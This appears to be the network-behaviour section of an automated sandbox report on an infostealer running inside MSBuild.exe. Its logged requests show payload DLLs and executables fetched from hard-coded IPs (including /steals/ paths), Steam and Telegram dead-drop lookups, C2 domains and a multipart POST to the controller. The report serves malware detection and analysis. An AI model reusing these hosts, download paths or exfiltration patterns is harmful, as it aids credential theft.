Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: unknown TCP traffic detected without corresponding DNS query: 5.75.212.60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Code function: 1_2_00405010 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle, 1_2_00405010
Source: global traffic HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /s41l0 HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.0 Safari/537.36Host: 65.108.151.108Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steals/jen1hg.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /steals/gfn1go.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: liernessfornicsa.shop
Source: global traffic DNS traffic detected: DNS query: arpdabl.zapto.org
Source: global traffic DNS traffic detected: DNS query: t.me
Source: unknown HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2384093169.0000000000E48000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/gfn1go.exe
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/gfn1go.exe1
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/gfn1go.exedary=----HIDAKFIJJKJJJKEBKJEHult-release
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/jen1hg.exe
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/jen1hg.exe1kkkk691078http://147.45.44.104/steals/gfn1go.exe1kkkk/24.6.0.
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000056E000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://147.45.44.104/steals/jen1hg.exeftware
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.000000000418F000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004161000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041B9000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2078508760.0000000004B1E000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000002.2075717329.000000000326D000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2617277364.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://64532127VdtSrezylanAPHTSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1669807678.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004380000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004353000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.0000000004866000.00000004.00000800.00020000.00000000.sdmp, 1lKbb2hF7fYToopfpmEvlyRN.exe, 00000000.00000002.1673284783.00000000049A3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2379793431.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.JKEBFHJDBF
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.JDBF
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/#W
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/Z
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/f
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/kV
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/l
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/r
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/s
Source: MSBuild.exe, 00000001.00000002.2384093169.0000000000F27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.org/stem32
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zapto.orgF
Source: MSBuild.exe, 00000001.00000002.2379793431.000000000054F000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://arpdabl.zaptoHJDBF
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr, gfn1go[1].exe.1.dr String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-secureconversation/200512/dk/p_sha1BUnsupportedKeyDerivationAlgo
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#STR-Transform
Source: DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr, gfn1go[1].exe.1.dr String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#STR-Transform0Tran
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#STR-Transform:Unsu
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr, gfn1go[1].exe.1.dr String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdp
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe, 00000005.00000000.2060267748.00000000009A2000.00000002.00000001.01000000.0000000B.sdmp, DGDBKFBAKF.exe, 00000007.00000000.2132619976.0000000000FD2000.00000002.00000001.01000000.0000000C.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp, DBAAFIDGDA.exe.1.dr, jen1hg[1].exe.1.dr, gfn1go[1].exe.1.dr String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000001.00000002.2420463242.00000000201A9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2431822834.0000000031FFB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2438009388.000000003DEDF000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2424034022.0000000026112000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.mi
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.mic
Source: gfn1go[1].exe.1.dr String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/anonymous
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecision~http://schemas.xmlsoap.o
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthxhttp://schemas.xmlsoap.org/ws/2005
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidrhttp://schemas.xmlsoap.org/ws/2005
Source: DBAAFIDGDA.exe, 00000005.00000002.2078508760.00000000041E3000.00000004.00000800.00020000.00000000.sdmp, DGDBKFBAKF.exe, 00000007.00000002.2157026273.00000000048C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressthttp://schemas.xmlsoap.org/ws/200
